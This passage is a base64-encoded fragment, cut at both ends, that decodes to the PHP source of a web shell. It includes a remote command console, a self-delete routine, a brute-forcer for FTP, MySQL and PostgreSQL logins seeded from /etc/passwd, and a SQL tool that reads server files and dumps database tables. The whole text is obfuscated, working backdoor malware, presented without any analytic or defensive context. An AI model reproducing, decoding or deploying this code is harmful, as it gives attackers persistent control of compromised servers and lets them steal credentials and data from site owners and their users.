GQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJaWYoJHRlbXApDQoJCWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHRlbXApLic8L3ByZT4nOw0KCWVjaG8gJzwvZGl2Pic7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgew0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gdHJ1ZTsNCiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gZmFsc2U7DQoNCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KCQlvYl9zdGFydCgpOw0KCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7DQoJCSR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuQk9GRkV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOw0KCQlpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpCXsNCgkJCWlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOw0KCQkJCWVjaG8gImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCWVjaG8gImQuY2Yub3V0cHV0LnZhbHVlKz0nIi4kdGVtcC4iJzsiOw0KCQllY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsNCgkJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQoJQk9GRkhlYWRlcigpOw0KICAgIGVjaG8gIjxzY3JpcHQ+DQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7DQoJaWYobiA9PSAzOCkgew0KCQljdXItLTsNCgkJaWYoY3VyPj0wKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXIrKzsNCgl9IGVsc2UgaWYobiA9PSA0MCkgew0KCQljdXIrKzsNCgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1ci0tOw0KCX0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCgljbWRzLnBvcCgpOw0KCWNtZHMucHVzaChjbWQpOw0KCWNtZHMucHVzaCgnJyk7DQoJY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0PiI7DQoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgew0KCQlpZigkdiA9PSAnJykgew0KCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOw0KCQkJY29udGludWU7DQoJCX0NCgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOw0KCX0NCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCWVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZC5jZi5hbGlhcy52YWx1ZSk7aWYoZC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuQk9GRkV4KCRfUE9TVFsncDEnXSkpOw0KCX0NCgllY2hvICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgew0KICAgIHNlc3Npb25fZGVzdHJveSgpOw0KCWRpZSgnYnllIScpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgew0KCQ0KCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykNCgkJaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KCQllbHNlDQoJCQllY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIEJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgew0KCUJPRkZIZWFkZXIoKTsNCglpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCgkJZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7DQoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsNCgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQoJCQkJQHBnX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9DQoJCSRzdWNjZXNzID0gMDsNCgkJJGF0dGVtcHRzID0gMDsNCgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCgkJCQkJCSR0bXAgPSAiIjsNCgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQ0KCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOw0KCQkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCQlpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgew0KCQkJCQkJCSRzdWNjZXNzKys7DQoJCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApDQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0NCgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQoJfQ0KCWVjaG8gJzxoMT5GVFAgYnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicNCgkJLic8c3Bhbj5TZXJ2ZXI6cG9ydDwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjx0YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+Jw0KCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOw0KCWVjaG8gJzwvZGl2Pjxicj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgew0KCWNsYXNzIERiQ2xhc3Mgew0KCQl2YXIgJHR5cGU7DQoJCXZhciAkbGluazsNCgkJdmFyICRyZXM7DQoJCWZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpCXsNCgkJCSR0aGlzLT50eXBlID0gJHR5cGU7DQoJCX0NCgkJZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7DQoJCQkJCWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBmZXRjaCgpIHsNCgkJCSRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdERicygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZXJyb3IoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQoJCQkJCQlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIEJPRkYyKGZpbGUgdGV4dCk7Q09QWSBCT0ZGMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSBCT0ZGMjsiKTsNCgkJCQkJJHI9YXJyYXkoKTsNCgkJCQkJd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpDQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIEJPRkYyJyk7DQoJCQkJCXJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsNCgkJCQkJd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PSBudWxsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzX251bWVyaWMoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgI